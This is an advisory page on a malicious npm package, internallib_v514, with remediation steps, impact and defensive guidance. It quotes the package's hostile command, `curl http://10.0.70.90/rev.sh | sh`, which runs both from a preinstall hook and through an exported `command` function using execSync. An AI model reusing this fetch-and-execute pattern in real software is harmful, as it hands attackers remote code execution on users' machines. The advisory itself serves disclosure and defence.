MalwarePublished 6 Aug 2026

internallib_v514 (npm) · Malicious Code

Affects internallib_v514Source GCVE Database

Malicious package : remove internallib_v514 and rotate any secrets on hosts that installed it.

Data as of 7 Aug 2026, 15:17 UTC

Classification

Malicious package

Published to npm · OSV MAL-2026-13483

What to do

Remove internallib_v514 from every project, lockfile and image that pulls it in. Treat any host that installed it as compromised: rotate the credentials, tokens and keys it could read, from a clean machine.

Affected software

Product	Affected	Fixed in
npminternallib_v514	Affected =1.0.0	Fixed in–

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Description

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (1fd60db78a1e9a35296f653bfc8b5a814877c6c71b274b7ed8dcaa9e732609ea) package.json declares a preinstall lifecycle hook that runs `curl http://10.0.70.90/rev.sh | sh`, fetching an unpinned shell script from a bare internal IP over plain HTTP and piping it to sh. This executes automatically on `npm install`, granting the operator of 10.0.70.90 arbitrary code execution on the installer's host. In addition, index.js exports a `command` function whose body invokes `require("child_process").execSync("curl http://10.0.70.90/rev.sh | sh")`, providing a second remote-code-execution path through the library's public API. The remote payload is unpinned, unverified, served over cleartext HTTP, and named `rev.sh` — consistent with a reverse-shell dropper.

Impact

Any consumer of the internallib_v514 package version 1.0.0 that invokes the exported command function will execute arbitrary code controlled by an attacker. This can lead to full system compromise, including establishing a reverse shell for remote access. The lack of integrity checks and use of plaintext HTTP increases the risk of interception or manipulation of the payload.

Defensive guidance

Users should immediately stop using internallib_v514 version 1.0.0 and remove it from their projects. Avoid invoking the exported command function. Verify dependencies for malicious code and consider using trusted package sources. Monitor for updates or advisories from the package publisher or security community for remediation guidance.

Summary

The internallib_v514 npm package version 1.0.0 exports a function that synchronously executes a shell command using Node.js child_process.execSync. This command downloads a shell script from a hardcoded internal IP address (http://10.0.70.90/rev.sh) via plaintext HTTP and pipes it directly into the shell for execution. The script name suggests a reverse-shell payload, enabling remote code execution. The package does not verify the integrity or authenticity of the downloaded script, lacks TLS encryption, and fetches code from a non-registry, non-publisher endpoint, making any invocation of this function a direct execution of attacker-controlled code.

References

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What to do

Affected software

Description

AI analysisMachine-generated, updated 7 Aug 2026, 07:43 UTC

Technical details

References

Community reviews